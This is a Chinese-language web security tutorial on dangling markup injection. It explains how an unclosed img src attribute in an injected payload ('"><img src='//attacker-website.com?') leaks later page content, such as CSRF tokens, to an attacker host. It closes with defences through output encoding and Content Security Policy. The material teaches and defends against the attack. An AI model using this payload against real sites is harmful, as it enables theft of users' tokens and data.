引言:什么是悬空标记注入(Dangling markup injection)、典型利用原理是什么,以及如何防止悬空标记攻击?
悬空标记注入(Dangling markup injection)是一种技术,当由于输入过滤或其他防御措施而无法进行完全的跨站脚本攻击时,它可以用于捕获跨域数据。它可以被用来捕获其他用户可见的敏感信息,包括可用于代表用户执行未经授权操作的CSRF令牌。该技术常常被用来执行恶意操作并获得用户的数据。攻击者利用这个技术通过构造包含特殊标记的查询字符串,从另一个域获取数据。
Note:当输入过滤器或其他防御措施阻止了完全的跨站脚本攻击时,攻击者可以利用这个技术来窃取敏感信息。使用这种技术需要谨慎,可能会对网站造成严重的安全风险。
假设应用程序以不安全的方式将攻击者可控制的数据嵌入其响应中:
<input type="text" name="input" value="可控制的输入
还假设应用程序没有过滤或转义>
或“
字符。攻击者可以使用以下语法打破引用的属性值和封闭标记,并返回HTML上下文:
">
在这种情况下,攻击者自然会尝试执行XSS(「 典型安全漏洞系列 」01.XSS攻击详解)。但假设由于输入筛选器、内容安全策略(「 网络安全术语解读 」内容安全策略CSP详解)或其他障碍,常规XSS攻击是不可能的。在这里,仍然可以使用如下有效负载来提供悬空标记注入攻击:
"><img src='//attacker-website.com?
该有效负载创建一个img
标记,并定义包含攻击者服务器上URL的src
属性的开头。但当前攻击者的有效负载不会关闭src
属性,该属性保留为悬空。当浏览器解析响应时,它将向前看,直到遇到一个单引号来终止属性。直到该字符之前的所有内容都将被视为URL的一部分,并将在URL查询字符串内发送到攻击者的服务器。任何非字母数字字符(包括换行符)都将进行URL编码。
攻击的后果是,攻击者可以捕获注入点之后应用程序的部分响应,其中可能包含敏感数据。根据应用程序的功能,可能包括CSRF令牌、电子邮件或财务数据。
Note:任何发出外部请求的属性都可以用于悬挂标记。
输出编码:通过对输出数据进行编码并在到达时验证输入,可以使用与防止跨站点脚本编写相同的通用防御来防止悬空标记攻击。
内容安全策略:还可以使用内容安全策略(CSP)减轻一些悬空标记攻击。例如,可以使用防止标记(如img
)加载外部资源的策略来防止部分悬空标记攻击。
Note: Chrome浏览器通过阻止
img
等标记定义包含角括号和换行符等原始字符的URL来规避悬空标记攻击。这将防止攻击,因为捕获的数据通常包含这些原始字符,因此攻击会被阻止。
[1] https://portswigger.net/web-security/cross-site-scripting/content-security-policy